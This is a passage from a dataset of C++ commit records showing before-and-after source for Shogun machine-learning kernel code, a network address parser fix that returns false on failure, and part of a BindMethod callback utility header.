\"Lookup-table\");\n}\n\nSGMatrix<float64_t> CHomogeneousKernelMap::apply_to_feature_matrix (CFeatures* features) {\n\tCSimpleFeatures<float64_t>* simple_features = (CSimpleFeatures<float64_t>*)features;\n\tint32_t num_vectors = simple_features->get_num_vectors ();\n\tint32_t num_features = simple_features->get_num_features ();\n\tSGMatrix<float64_t> result (num_features*(2*m_order+1), num_vectors);\n\t\n\tfor (int i = 0; i < num_vectors; ++i) {\n\t\tSGVector<float64_t> v = simple_features->get_feature_vector (i);\n\t\tSGVector<float64_t> col (result.get_column_vector (i), result.num_rows);\n\t\tapply_to_vector (v, col);\n\t}\n\t\n\treturn result;\n}\n\n\/\/\/ apply preproc on single feature vector\nSGVector<float64_t> CHomogeneousKernelMap::apply_to_feature_vector (SGVector<float64_t> vector) {\n\tuint64_t featureDimension = 2*m_order+1;\n\tuint64_t m_target_dim = vector.vlen * featureDimension;\n\tSGVector<float64_t> result = SGVector<float64_t> (m_target_dim);\n\n\tapply_to_vector (vector, result);\n\t\n\treturn result;\n}\n\nvoid CHomogeneousKernelMap::setKernelType (HomogeneousKernelType k) {\n\tm_kernel = k;\n}\n\nHomogeneousKernelType CHomogeneousKernelMap::getKernelType () const {\n\treturn m_kernel;\n}\n\nvoid CHomogeneousKernelMap::setWindowType (HomogeneousKernelMapWindowType w) {\n\tm_window = w;\n}\n\nHomogeneousKernelMapWindowType CHomogeneousKernelMap::getWindowType () const {\n\treturn m_window;\n}\n\nvoid CHomogeneousKernelMap::setGamma (float64_t g) {\n\tm_gamma = g;\n}\n\nfloat64_t CHomogeneousKernelMap::getGamma (float64_t g) const {\n\treturn m_gamma;\n}\n\nvoid CHomogeneousKernelMap::setOrder (uint64_t o) {\n\tm_order = o;\n}\n\nuint64_t CHomogeneousKernelMap::getOrder () const {\n\treturn m_order;\n}\n\nvoid CHomogeneousKernelMap::setPeriod (float64_t p) {\n\tm_period = p;\n}\n\nfloat64_t CHomogeneousKernelMap::getPeriod () const {\n\treturn m_period;\n}\n\ninline float64_t\nCHomogeneousKernelMap::get_spectrum (float64_t omega) const {\n  switch (m_kernel) {\n    case HomogeneousKernelIntersection:\n      return (2.0 \/ CMath::PI) \/ (1 + 4 * omega*omega);\n    case HomogeneousKernelChi2:\n      return 2.0 \/ (CMath::exp (CMath::PI * omega) + CMath::exp (-CMath::PI * omega)) ;\n    case HomogeneousKernelJS:\n      return (2.0 \/ CMath::log (4.0)) *\n      2.0 \/ (CMath::exp (CMath::PI * omega) + CMath::exp (-CMath::PI * omega)) \/\n      (1 + 4 * omega*omega);\n    default:\n\t\t\t\/* throw exception *\/\n\t\t\tthrow ShogunException (\"CHomogeneousKernelMap::get_spectrum: no valid kernel has been set!\");\n  }\n}\n\ninline float64_t \nCHomogeneousKernelMap::sinc (float64_t x) const {\n  if (x == 0.0) return 1.0 ;\n  return CMath::sin (x) \/ x;\n}\n\ninline float64_t\nCHomogeneousKernelMap::get_smooth_spectrum (float64_t omega) const {\n  float64_t kappa_hat = 0;\n  float64_t omegap ;\n  float64_t epsilon = 1e-2;\n  float64_t const omegaRange = 2.0 \/ (m_period * epsilon);\n  float64_t const domega = 2 * omegaRange \/ (2 * 1024.0 + 1);\n  switch (m_window) {\n    case HomogeneousKernelMapWindowUniform:\n      kappa_hat = get_spectrum (omega);\n      break;\n    case HomogeneousKernelMapWindowRectangular:\n      for (omegap = - omegaRange ; omegap <= omegaRange ; omegap += domega) {\n        float64_t win = sinc ((m_period\/2.0) * omegap);\n        win *= (m_period\/(2.0*CMath::PI));\n        kappa_hat += win * get_spectrum (omegap + omega);\n      }\n      kappa_hat *= domega;\n      \/* project on the postivie orthant (see PAMI) *\/\n      kappa_hat = CMath::max (kappa_hat, 0.0);\n      break;\n    default:\n\t\t\t\/* throw exception *\/\n\t\t\tthrow ShogunException (\"CHomogeneousKernelMap::get_smooth_spectrum: no valid kernel has been set!\");\n  }\n  return kappa_hat;\n}\n\ninline void CHomogeneousKernelMap::apply_to_vector (const SGVector<float64_t>& in_v, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSGVector<float64_t>& out_v) const \n{\n\t\/* assert for in and out vectors *\/\n\tASSERT (in_v.vlen > 0 && out_v.vlen);\n\tASSERT (in_v.vector != NULL && out_v.vector != NULL);\n\t\n\tuint64_t featureDimension = 2*m_order+1;\n\t\n\tfor (int k = 0; k < in_v.vlen; ++k) {\n\t  \/* break value into exponent and mantissa *\/\n\t  int exponent;\n\t  int unsigned j;\n\t  float64_t mantissa = frexp (in_v[k], &exponent);\n\t  float64_t sign = (mantissa >= 0.0) ? +1.0 : -1.0;\n\t  mantissa *= 2*sign;\n\t  exponent -- ;\n\n\t  if (mantissa == 0 ||\n\t      exponent <= m_minExponent ||\n\t      exponent >= m_maxExponent) \n\t\t{\n\t    for (j = 0 ; j <= m_order ; ++j) {\n\t      out_v[k*featureDimension+j] = 0.0;\n\/\/\t\t\t\t*destination = (T) 0.0 ;\n\/\/\t      destination += stride ;\n\t    }\n\t    continue;\n\t  }\n\n\t  \/\/uint64_t featureDimension = 2*m_order+1;\n    float64_t const * v1 = m_table.vector +\n    \t(exponent - m_minExponent) * m_numSubdivisions * featureDimension;\n    float64_t const * v2;\n    float64_t f1, f2;\n\n    mantissa -= 1.0;\n    while (mantissa >= m_subdivision) {\n      mantissa -= m_subdivision;\n      v1 += featureDimension;\n    }\n\n    v2 = v1 + featureDimension;\n    for (j = 0 ; j < featureDimension ; ++j) {\n      f1 = *v1++;\n      f2 = *v2++;\n\n\t\t\tout_v[k*featureDimension+j] = sign * ((f2 - f1) * (m_numSubdivisions * mantissa) + f1);\n\/\/      *destination = sign * ((f2 - f1) * (m_numSubdivisions * mantissa) + f1) ;\n\/\/      destination += stride ;\n    }\n\t}\t\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 2012-2013 Heiko Strathmann\n *\/\n\n#include <shogun\/statistics\/MMDKernelSelectionComb.h>\n#include <shogun\/statistics\/KernelTwoSampleTestStatistic.h>\n#include <shogun\/kernel\/CombinedKernel.h>\n\nusing namespace shogun;\n\nCMMDKernelSelectionComb::CMMDKernelSelectionComb() :\n\t\tCMMDKernelSelection()\n{\n\tinit();\n}\n\nCMMDKernelSelectionComb::CMMDKernelSelectionComb(\n\t\tCKernelTwoSampleTestStatistic* mmd) : CMMDKernelSelection(mmd)\n{\n\tinit();\n}\n\nCMMDKernelSelectionComb::~CMMDKernelSelectionComb()\n{\n}\n\nvoid CMMDKernelSelectionComb::init()\n{\n#ifdef HAVE_LAPACK\n\tSG_ADD(&m_opt_max_iterations, \"opt_max_iterations\", \"Maximum number of \"\n\t\t\t\"iterations for qp solver\", MS_NOT_AVAILABLE);\n\tSG_ADD(&m_opt_epsilon, \"opt_epsilon\", \"Stopping criterion for qp solver\",\n\t\t\tMS_NOT_AVAILABLE);\n\tSG_ADD(&m_opt_low_cut, \"opt_low_cut\", \"Low cut value for optimization \"\n\t\t\t\"kernel weights\", MS_NOT_AVAILABLE);\n\n\t\/* sensible values for optimization *\/\n\tm_opt_max_iterations=10000;\n\tm_opt_epsilon=10E-15;\n\tm_opt_low_cut=10E-7;\n#endif\n}\n\n#ifdef HAVE_LAPACK\n\/* no reference counting, use the static context constructor of SGMatrix *\/\nSGMatrix<float64_t> CMMDKernelSelectionComb::m_Q=SGMatrix<float64_t>(false);\n\nconst float64_t* CMMDKernelSelectionComb::get_Q_col(uint32_t i)\n{\n\treturn &m_Q[m_Q.num_rows*i];\n}\n\n\/** helper function that prints current state *\/\nvoid CMMDKernelSelectionComb::print_state(libqp_state_T state)\n{\n\tSG_SDEBUG(\"CMMDKernelSelectionComb::print_state: libqp state:\"\n\t\t\t\" primal=%f\\n\", state.QP);\n}\n\nCKernel* CMMDKernelSelectionComb::select_kernel()\n{\n\t\/* cast is safe due to assertion in constructor *\/\n\tCCombinedKernel* combined=(CCombinedKernel*)m_mmd->get_kernel();\n\n\t\/* optimise for kernel weights and set them *\/\n\tSGVector<float64_t> weights=compute_measures();\n\tcombined->set_subkernel_weights(weights);\n\n\t\/* note that kernel is SG_REF'ed from getter above *\/\n\treturn combined;\n}\n\nSGVector<float64_t> CMMDKernelSelectionComb::solve_optimization(\n\t\tSGVector<float64_t> mmds)\n{\n\t\/* readability *\/\n\tindex_t num_kernels=mmds.vlen;\n\n\t\/* compute sum of mmds to generate feasible point for convex program *\/\n\tfloat64_t sum_mmds=0;\n\tfor (index_t i=0; i<mmds.vlen; ++i)\n\t\tsum_mmds+=mmds[i];\n\n\t\/* QP: 0.5*x'*Q*x + f'*x\n\t * subject to\n\t * mmds'*x = b\n\t * LB[i] <= x[i] <= UB[i]   for all i=1..n *\/\n\tSGVector<float64_t> Q_diag(num_kernels);\n\tSGVector<float64_t> f(num_kernels);\n\tSGVector<float64_t> lb(num_kernels);\n\tSGVector<float64_t> ub(num_kernels);\n\tSGVector<float64_t> weights(num_kernels);\n\n\t\/* init everything, there are two cases possible: i) at least one mmd is\n\t * is positive, ii) all mmds are negative *\/\n\tbool one_pos;\n\tfor (index_t i=0; i<mmds.vlen; ++i)\n\t{\n\t\tif (mmds[i]>0)\n\t\t{\n\t\t\tSG_DEBUG(\"found at least one positive MMD\\n\")\n\t\t\tone_pos=true;\n\t\t\tbreak;\n\t\t}\n\t\tone_pos=false;\n\t}\n\n\tif (!one_pos)\n\t{\n\t\tSG_WARNING(\"%CMMDKernelSelectionComb::solve_optimization(): all mmd \"\n\t\t\t\t\"estimates are negative. This is techically possible, although \"\n\t\t\t\t\"extremely rare. Consider using different kernels. \"\n\t\t\t\t\"This combination will lead to a bad two-sample test. Since any\"\n\t\t\t\t\"combination is bad, will now just return equally distributed \"\n\t\t\t\t\"kernel weights\\n\");\n\n\t\t\/* if no element is positive, we can choose arbritary weights since\n\t\t * the results will be bad anyway *\/\n\t\tweights.set_const(1.0\/num_kernels);\n\t}\n\telse\n\t{\n\t\tSG_DEBUG(\"one MMD entry is positive, performing optimisation\\n\")\n\t\t\/* do optimisation, init vectors *\/\n\t\tfor (index_t i=0; i<num_kernels; ++i)\n\t\t{\n\t\t\tQ_diag[i]=m_Q(i,i);\n\t\t\tf[i]=0;\n\t\t\tlb[i]=0;\n\t\t\tub[i]=CMath::INFTY;\n\n\t\t\t\/* initial point has to be feasible, i.e. mmds'*x = b *\/\n\t\t\tweights[i]=1.0\/sum_mmds;\n\t\t}\n\n\t\t\/* start libqp solver with desired parameters *\/\n\t\tSG_DEBUG(\"starting libqp optimization\\n\")\n\t\tlibqp_state_T qp_exitflag=libqp_gsmo_solver(&get_Q_col, Q_diag.vector,\n\t\t\t\tf.vector, mmds.vector,\n\t\t\t\tone_pos ? 1 : -1,\n\t\t\t\tlb.vector, ub.vector,\n\t\t\t\tweights.vector, num_kernels, m_opt_max_iterations,\n\t\t\t\tm_opt_epsilon, &(CMMDKernelSelectionComb::print_state));\n\n\t\tSG_DEBUG(\"libqp returns: nIts=%d, exit_flag: %d\\n\", qp_exitflag.nIter,\n\t\t\t\tqp_exitflag.exitflag);\n\n\t\t\/* set really small entries to zero and sum up for normalization *\/\n\t\tfloat64_t sum_weights=0;\n\t\tfor (index_t i=0; i<weights.vlen; ++i)\n\t\t{\n\t\t\tif (weights[i]<m_opt_low_cut)\n\t\t\t{\n\t\t\t\tSG_DEBUG(\"lowcut: weight[%i]=%f<%f setting to zero\\n\", i, weights[i],\n\t\t\t\t\t\tm_opt_low_cut);\n\t\t\t\tweights[i]=0;\n\t\t\t}\n\n\t\t\tsum_weights+=weights[i];\n\t\t}\n\n\t\t\/* normalize (allowed since problem is scale invariant) *\/\n\t\tfor (index_t i=0; i<weights.vlen; ++i)\n\t\t\tweights[i]\/=sum_weights;\n\t}\n\n\treturn weights;\n}\n#else\nCKernel* CMMDKernelSelectionComb::select_kernel()\n{\n\tSG_ERROR(\"CMMDKernelSelectionComb::select_kernel(): LAPACK needs to be \"\n\t\t\t\"installed in order to use weight optimisation for combined \"\n\t\t\t\"kernels!\\n\");\n\treturn NULL;\n}\n\nSGVector<float64_t> CMMDKernelSelectionComb::compute_measures()\n{\n\tSG_ERROR(\"CMMDKernelSelectionComb::select_kernel(): LAPACK needs to be \"\n\t\t\t\"installed in order to use weight optimisation for combined \"\n\t\t\t\"kernels!\\n\");\n\treturn SGVector<float64_t>();\n}\n\nSGVector<float64_t> CMMDKernelSelectionComb::solve_optimization(\n\t\tSGVector<float64_t> mmds)\n{\n\tSG_ERROR(\"CMMDKernelSelectionComb::solve_optimization(): LAPACK needs to be \"\n\t\t\t\"installed in order to use weight optimisation for combined \"\n\t\t\t\"kernels!\\n\");\n\treturn SGVector<float64_t>();\n}\n#endif\n<commit_msg>fix typo in warning msg<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 2012-2013 Heiko Strathmann\n *\/\n\n#include <shogun\/statistics\/MMDKernelSelectionComb.h>\n#include <shogun\/statistics\/KernelTwoSampleTestStatistic.h>\n#include <shogun\/kernel\/CombinedKernel.h>\n\nusing namespace shogun;\n\nCMMDKernelSelectionComb::CMMDKernelSelectionComb() :\n\t\tCMMDKernelSelection()\n{\n\tinit();\n}\n\nCMMDKernelSelectionComb::CMMDKernelSelectionComb(\n\t\tCKernelTwoSampleTestStatistic* mmd) : CMMDKernelSelection(mmd)\n{\n\tinit();\n}\n\nCMMDKernelSelectionComb::~CMMDKernelSelectionComb()\n{\n}\n\nvoid CMMDKernelSelectionComb::init()\n{\n#ifdef HAVE_LAPACK\n\tSG_ADD(&m_opt_max_iterations, \"opt_max_iterations\", \"Maximum number of \"\n\t\t\t\"iterations for qp solver\", MS_NOT_AVAILABLE);\n\tSG_ADD(&m_opt_epsilon, \"opt_epsilon\", \"Stopping criterion for qp solver\",\n\t\t\tMS_NOT_AVAILABLE);\n\tSG_ADD(&m_opt_low_cut, \"opt_low_cut\", \"Low cut value for optimization \"\n\t\t\t\"kernel weights\", MS_NOT_AVAILABLE);\n\n\t\/* sensible values for optimization *\/\n\tm_opt_max_iterations=10000;\n\tm_opt_epsilon=10E-15;\n\tm_opt_low_cut=10E-7;\n#endif\n}\n\n#ifdef HAVE_LAPACK\n\/* no reference counting, use the static context constructor of SGMatrix *\/\nSGMatrix<float64_t> CMMDKernelSelectionComb::m_Q=SGMatrix<float64_t>(false);\n\nconst float64_t* CMMDKernelSelectionComb::get_Q_col(uint32_t i)\n{\n\treturn &m_Q[m_Q.num_rows*i];\n}\n\n\/** helper function that prints current state *\/\nvoid CMMDKernelSelectionComb::print_state(libqp_state_T state)\n{\n\tSG_SDEBUG(\"CMMDKernelSelectionComb::print_state: libqp state:\"\n\t\t\t\" primal=%f\\n\", state.QP);\n}\n\nCKernel* CMMDKernelSelectionComb::select_kernel()\n{\n\t\/* cast is safe due to assertion in constructor *\/\n\tCCombinedKernel* combined=(CCombinedKernel*)m_mmd->get_kernel();\n\n\t\/* optimise for kernel weights and set them *\/\n\tSGVector<float64_t> weights=compute_measures();\n\tcombined->set_subkernel_weights(weights);\n\n\t\/* note that kernel is SG_REF'ed from getter above *\/\n\treturn combined;\n}\n\nSGVector<float64_t> CMMDKernelSelectionComb::solve_optimization(\n\t\tSGVector<float64_t> mmds)\n{\n\t\/* readability *\/\n\tindex_t num_kernels=mmds.vlen;\n\n\t\/* compute sum of mmds to generate feasible point for convex program *\/\n\tfloat64_t sum_mmds=0;\n\tfor (index_t i=0; i<mmds.vlen; ++i)\n\t\tsum_mmds+=mmds[i];\n\n\t\/* QP: 0.5*x'*Q*x + f'*x\n\t * subject to\n\t * mmds'*x = b\n\t * LB[i] <= x[i] <= UB[i]   for all i=1..n *\/\n\tSGVector<float64_t> Q_diag(num_kernels);\n\tSGVector<float64_t> f(num_kernels);\n\tSGVector<float64_t> lb(num_kernels);\n\tSGVector<float64_t> ub(num_kernels);\n\tSGVector<float64_t> weights(num_kernels);\n\n\t\/* init everything, there are two cases possible: i) at least one mmd is\n\t * is positive, ii) all mmds are negative *\/\n\tbool one_pos;\n\tfor (index_t i=0; i<mmds.vlen; ++i)\n\t{\n\t\tif (mmds[i]>0)\n\t\t{\n\t\t\tSG_DEBUG(\"found at least one positive MMD\\n\")\n\t\t\tone_pos=true;\n\t\t\tbreak;\n\t\t}\n\t\tone_pos=false;\n\t}\n\n\tif (!one_pos)\n\t{\n\t\tSG_WARNING(\"CMMDKernelSelectionComb::solve_optimization(): all mmd \"\n\t\t\t\t\"estimates are negative. This is techically possible, although \"\n\t\t\t\t\"extremely rare. Consider using different kernels. \"\n\t\t\t\t\"This combination will lead to a bad two-sample test. Since any\"\n\t\t\t\t\"combination is bad, will now just return equally distributed \"\n\t\t\t\t\"kernel weights\\n\");\n\n\t\t\/* if no element is positive, we can choose arbritary weights since\n\t\t * the results will be bad anyway *\/\n\t\tweights.set_const(1.0\/num_kernels);\n\t}\n\telse\n\t{\n\t\tSG_DEBUG(\"one MMD entry is positive, performing optimisation\\n\")\n\t\t\/* do optimisation, init vectors *\/\n\t\tfor (index_t i=0; i<num_kernels; ++i)\n\t\t{\n\t\t\tQ_diag[i]=m_Q(i,i);\n\t\t\tf[i]=0;\n\t\t\tlb[i]=0;\n\t\t\tub[i]=CMath::INFTY;\n\n\t\t\t\/* initial point has to be feasible, i.e. mmds'*x = b *\/\n\t\t\tweights[i]=1.0\/sum_mmds;\n\t\t}\n\n\t\t\/* start libqp solver with desired parameters *\/\n\t\tSG_DEBUG(\"starting libqp optimization\\n\")\n\t\tlibqp_state_T qp_exitflag=libqp_gsmo_solver(&get_Q_col, Q_diag.vector,\n\t\t\t\tf.vector, mmds.vector,\n\t\t\t\tone_pos ? 1 : -1,\n\t\t\t\tlb.vector, ub.vector,\n\t\t\t\tweights.vector, num_kernels, m_opt_max_iterations,\n\t\t\t\tm_opt_epsilon, &(CMMDKernelSelectionComb::print_state));\n\n\t\tSG_DEBUG(\"libqp returns: nIts=%d, exit_flag: %d\\n\", qp_exitflag.nIter,\n\t\t\t\tqp_exitflag.exitflag);\n\n\t\t\/* set really small entries to zero and sum up for normalization *\/\n\t\tfloat64_t sum_weights=0;\n\t\tfor (index_t i=0; i<weights.vlen; ++i)\n\t\t{\n\t\t\tif (weights[i]<m_opt_low_cut)\n\t\t\t{\n\t\t\t\tSG_DEBUG(\"lowcut: weight[%i]=%f<%f setting to zero\\n\", i, weights[i],\n\t\t\t\t\t\tm_opt_low_cut);\n\t\t\t\tweights[i]=0;\n\t\t\t}\n\n\t\t\tsum_weights+=weights[i];\n\t\t}\n\n\t\t\/* normalize (allowed since problem is scale invariant) *\/\n\t\tfor (index_t i=0; i<weights.vlen; ++i)\n\t\t\tweights[i]\/=sum_weights;\n\t}\n\n\treturn weights;\n}\n#else\nCKernel* CMMDKernelSelectionComb::select_kernel()\n{\n\tSG_ERROR(\"CMMDKernelSelectionComb::select_kernel(): LAPACK needs to be \"\n\t\t\t\"installed in order to use weight optimisation for combined \"\n\t\t\t\"kernels!\\n\");\n\treturn NULL;\n}\n\nSGVector<float64_t> CMMDKernelSelectionComb::compute_measures()\n{\n\tSG_ERROR(\"CMMDKernelSelectionComb::select_kernel(): LAPACK needs to be \"\n\t\t\t\"installed in order to use weight optimisation for combined \"\n\t\t\t\"kernels!\\n\");\n\treturn SGVector<float64_t>();\n}\n\nSGVector<float64_t> CMMDKernelSelectionComb::solve_optimization(\n\t\tSGVector<float64_t> mmds)\n{\n\tSG_ERROR(\"CMMDKernelSelectionComb::solve_optimization(): LAPACK needs to be \"\n\t\t\t\"installed in order to use weight optimisation for combined \"\n\t\t\t\"kernels!\\n\");\n\treturn SGVector<float64_t>();\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"msg_types.h\"\n\n#include <arpa\/inet.h>\n#include <stdlib.h>\n#include <string.h>\n\nbool entity_addr_t::parse(const char *s, const char **end)\n{\n  memset(this, 0, sizeof(*this));\n\n  const char *p = s;\n  bool braces = false;\n  bool ipv6 = false;\n  if (*p == '{') {\n    p++;\n    braces = true;\n    ipv6 = true;\n  }\n  \n  char buf[32];\n  char *o = buf;\n\n  while (o < buf + sizeof(buf) &&\n\t *p && ((*p == '.') ||\n\t\t(ipv6 && *p == ':') ||\n\t\t(*p >= '0' && *p <= '9') ||\n\t\t(*p >= 'a' && *p <= 'f') ||\n\t\t(*p >= 'A' && *p <= 'F'))) {\n    if (*p == ':')\n      ipv6 = true;\n    *o++ = *p++;\n  }\n  *o = 0;\n  \/\/cout << \"buf is '\" << buf << \"'\" << std::endl;\n\n  \/\/ ipv4?\n  struct in_addr a4;\n  struct in6_addr a6;\n  if (inet_pton(AF_INET, buf, &a4)) {\n    addr4.sin_addr.s_addr = a4.s_addr;\n    addr.ss_family = AF_INET;\n  } else if (inet_pton(AF_INET6, buf, &a6)) {\n    addr.ss_family = AF_INET6;\n    memcpy(&addr6.sin6_addr, &a6, sizeof(a6));\n  } else {\n    \/\/cout << \"couldn't parse '\" << buf << \"'\" << std::endl;\n  }\n\n  if (braces) {\n    if (*p != '}')\n      return false;\n    p++;\n  }\n  \n  \/\/cout << \"p is \" << *p << std::endl;\n  if (*p == ':') {\n    \/\/ parse a port, too!\n    p++;\n    int port = atoi(p);\n    set_port(port);\n    while (*p && *p >= '0' && *p <= '9')\n      p++;\n  }\n\n  if (end)\n    *end = p;\n  return true;\n}\n<commit_msg>msg: fix entity_addr_t::parse() to return false on failure<commit_after>\n#include \"msg_types.h\"\n\n#include <arpa\/inet.h>\n#include <stdlib.h>\n#include <string.h>\n\nbool entity_addr_t::parse(const char *s, const char **end)\n{\n  memset(this, 0, sizeof(*this));\n\n  const char *p = s;\n  bool braces = false;\n  bool ipv6 = false;\n  if (*p == '{') {\n    p++;\n    braces = true;\n    ipv6 = true;\n  }\n  \n  char buf[32];\n  char *o = buf;\n\n  while (o < buf + sizeof(buf) &&\n\t *p && ((*p == '.') ||\n\t\t(ipv6 && *p == ':') ||\n\t\t(*p >= '0' && *p <= '9') ||\n\t\t(*p >= 'a' && *p <= 'f') ||\n\t\t(*p >= 'A' && *p <= 'F'))) {\n    if (*p == ':')\n      ipv6 = true;\n    *o++ = *p++;\n  }\n  *o = 0;\n  \/\/cout << \"buf is '\" << buf << \"'\" << std::endl;\n\n  \/\/ ipv4?\n  struct in_addr a4;\n  struct in6_addr a6;\n  if (inet_pton(AF_INET, buf, &a4)) {\n    addr4.sin_addr.s_addr = a4.s_addr;\n    addr.ss_family = AF_INET;\n  } else if (inet_pton(AF_INET6, buf, &a6)) {\n    addr.ss_family = AF_INET6;\n    memcpy(&addr6.sin6_addr, &a6, sizeof(a6));\n  } else {\n    \/\/cout << \"couldn't parse '\" << buf << \"'\" << std::endl;\n    return false;\n  }\n\n  if (braces) {\n    if (*p != '}')\n      return false;\n    p++;\n  }\n  \n  \/\/cout << \"p is \" << *p << std::endl;\n  if (*p == ':') {\n    \/\/ parse a port, too!\n    p++;\n    int port = atoi(p);\n    set_port(port);\n    while (*p && *p >= '0' && *p <= '9')\n      p++;\n  }\n\n  if (end)\n    *end = p;\n  return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2016 Max Kellermann <max@duempel.org>\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * - Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the\n * distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE\n * FOUNDATION OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef BIND_METHOD_HXX\n#define BIND_METHOD_HXX\n\n#include <type_traits>\n#include <utility>\n\n\/**\n * This object stores a function pointer wrapping a method, and a\n * reference to an instance of the method's class.  It can be used to\n * wrap instance methods as callback functions.\n *\n * @param S the plain function signature type\n *\/\ntemplate<typename S=void()>\nclass BoundMethod;\n\ntemplate<typename R, typename... Args>\nclass BoundMethod<R(Args...)> {\n\ttypedef R (*function_pointer)(void *instance, Args... args);\n\n\tvoid *instance;\n\tfunction_pointer function;\n\npublic:\n\t\/**\n\t * Non-initializing trivial constructor\n\t *\/\n\tBoundMethod() = default;\n\n\tconstexpr\n\tBoundMethod(void *_instance, function_pointer _function)\n\t\t:instance(_instance), function(_function) {}\n\n\t\/**\n\t * Construct an \"undefined\" object.  It must not be called,\n\t * and its \"bool\" operator returns false.\n\t *\/\n\tBoundMethod(std::nullptr_t):function(nullptr) {}\n\n\t\/**\n\t * Was this object initialized with a valid function pointer?\n\t *\/\n\toperator bool() const {\n\t\treturn function != nullptr;\n\t}\n\n\tR operator()(Args... args) const {\n\t\treturn function(instance, std::forward<Args>(args)...);\n\t}\n};\n\nnamespace BindMethodDetail {\n\n\/**\n * Helper class which converts a signature type to a method pointer\n * type.\n *\n * @param T the wrapped class\n * @param S the function signature type (plain, without instance\n * pointer)\n *\/\ntemplate<typename T, typename S>\nstruct MethodWithSignature;\n\ntemplate<typename T, typename R, typename... Args>\nstruct MethodWithSignature<T, R(Args...)> {\n\ttypedef R (T::*method_pointer)(Args...);\n};\n\n\/**\n * Helper class which introspects a method pointer type.\n *\n * @param M the method pointer type\n *\/\ntemplate<typename M>\nstruct MethodSignatureHelper;\n\ntemplate<typename R, typename T, typename... Args>\nstruct MethodSignatureHelper<R (T::*)(Args...)> {\n\t\/**\n\t * The class which contains the given method (signature).\n\t *\/\n\ttypedef T class_type;\n\n\t\/**\n\t * A function type which describes the \"plain\" function\n\t * signature.\n\t *\/\n\ttypedef R plain_signature(Args...);\n};\n\n\/**\n * Helper class which converts a plain function signature type to a\n * wrapper function pointer type.\n *\/\ntemplate<typename S>\nstruct MethodWrapperWithSignature;\n\ntemplate<typename R, typename... Args>\nstruct MethodWrapperWithSignature<R(Args...)> {\n\ttypedef R (*function_pointer)(void *instance, Args...);\n};\n\n\/**\n * Generate a wrapper function.  Helper class for\n * #BindMethodWrapperGenerator.\n *\n * @param T the containing class\n * @param M the method pointer type\n * @param method the method pointer\n * @param R the return type\n * @param Args the method arguments\n *\/\ntemplate<typename T, typename M, M method, typename R, typename... Args>\nstruct BindMethodWrapperGenerator2 {\n\tstatic R Invoke(void *instance, Args... args) {\n\t\tauto &t = *(T *)instance;\n\t\treturn (t.*method)(std::forward<Args>(args)...);\n\t}\n};\n\n\/**\n * Generate a wrapper function.\n *\n * @param T the containing class\n * @param M the method pointer type\n * @param method the method pointer\n * @param S the plain function signature type\n *\/\ntemplate<typename T, typename M, M method, typename S>\nstruct BindMethodWrapperGenerator;\n\ntemplate<typename T, typename M, M method, typename R, typename... Args>\nstruct BindMethodWrapperGenerator<T, M, method, R(Args...)>\n\t: BindMethodWrapperGenerator2<T, M, method, R, Args...> {\n};\n\ntemplate<typename T, typename S,\n\t typename MethodWithSignature<T, S>::method_pointer method>\ntypename MethodWrapperWithSignature<S>::function_pointer\nMakeBindMethodWrapper()\n{\n\treturn BindMethodWrapperGenerator<T, typename MethodWithSignature<T, S>::method_pointer, method, S>::Invoke;\n}\n\n} \/* namespace BindMethodDetail *\/\n\n\/**\n * Construct a #BoundMethod instance.\n *\n * @param T the containing class\n * @param S the plain function signature type\n * @param method the method pointer\n * @param instance the instance of #T to be bound\n *\/\ntemplate<typename T, typename S,\n\t typename BindMethodDetail::MethodWithSignature<T, S>::method_pointer method>\nconstexpr BoundMethod<S>\nBindMethod(T &instance)\n{\n\treturn BoundMethod<S>(&instance,\n\t\t\t      BindMethodDetail::MakeBindMethodWrapper<T, S, method>());\n}\n\n\/**\n * Shortcut macro which takes an instance and a method pointer and\n * constructs a #BoundMethod instance.\n *\/\n#define BIND_METHOD(instance, method) \\\n\tBindMethod<typename BindMethodDetail::MethodSignatureHelper<decltype(method)>::class_type, \\\n\t\t   typename BindMethodDetail::MethodSignatureHelper<decltype(method)>::plain_signature, \\\n\t\t   method>(instance)\n\n\/**\n * Shortcut wrapper for BIND_METHOD() which assumes \"*this\" is the\n * instance to be bound.\n *\/\n#define BIND_THIS_METHOD(method) BIND_METHOD(*this, &std::remove_reference<decltype(*this)>::type::method)\n\n#endif\n<commit_msg>util\/BindMethod: rename \"instance\" to \"instance_\" to avoid shadowing<commit_after>\/*\n * Copyright (C) 2016 Max Kellermann <max@duempel.org>\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * - Redistributions of source code must 